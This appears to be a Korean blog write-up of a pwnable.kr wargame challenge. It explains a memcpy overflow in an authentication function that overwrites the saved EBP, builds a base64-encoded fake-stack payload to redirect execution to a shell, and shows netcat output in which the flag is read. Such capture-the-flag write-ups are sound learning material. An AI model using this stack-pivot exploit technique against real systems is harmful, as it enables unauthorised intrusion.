30개의 문자열을 입력 받아 base64 디코딩 후 md5한 결과가 일치하면 인증이된다. 그런데 디코딩된 결과값을 md5 해쉬 값으로 사용하는 것도 아니라서 ;;; 그냥 취약점을 찾아서 풀어준다 ;
취약점은 아래의 auth함수에서 발생한다. copyBuf에서 base64디코딩 결과 12byte를 덮을 수 있다. ret은 조작 불가능 하지만 ebp까지는 덮을 수 있다.
BOOL __cdecl auth(int length) { char v2; // [sp+14h] [bp-14h]@1 char *s2; // [sp+1Ch] [bp-Ch]@1 int copyBuf; // [sp+20h] [bp-8h]@1 memcpy(©Buf, &input, length); s2 = (char *)calc_md5((int)&v2, 12); printf("hash : %s\n", s2); return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0; }
그러면 ebp를 조작해서 leave, ret 명령어가 수행될 때 eip를 조작해서 쉘을 띄울 수 있다.
input 버퍼를 아래와 같이 채워서 보낸다.
-----------------------------
0x0811EB40 <- input(.bss) // 1. 첫 번째 ebp 값
-----------------------------
0x08049278 <- go shell // 3. ret 명령어 수행시 esp가 가리키는 지점.
-----------------------------
0xdummy // 2. 두 번째 ebp 값
----------------------------- <- esp가 될 지점
[ 공격 !! ]
>>> r += struct.pack('<I', 0xaaaaaaaa)
>>> r += struct.pack('<I', 0x08049278)
>>> r += struct.pack('<I', 0x0811EB40)
>>> r
'\xaa\xaa\xaa\xaax\x92\x04\x08@\xeb\x11\x08'
>>> base64.b64encode(r)
'qqqqqniSBAhA6xEI'
C:\Users\Administrator>nc pwnable.kr 9003
Authenticate : qqqqqniSBAhA6xEI
hash : ff65b947126a889c87c50253208072a7
Congratulation! you are good!
ls
flag
login
super.pl
cat flag
control EBP, control ESP, control EIP, control the world~
'Wargame > pwnable.kr' 카테고리의 다른 글
[Rookiss] tiny_easy (0) | 2014.07.28 |
---|---|
[Hacker's Secret] unexploitable (0) | 2014.07.27 |
[Rookiss] brain fuck (0) | 2014.07.26 |
[Rookiss] ascii_easy (0) | 2014.07.21 |
[Rookiss] dragon (0) | 2014.07.20 |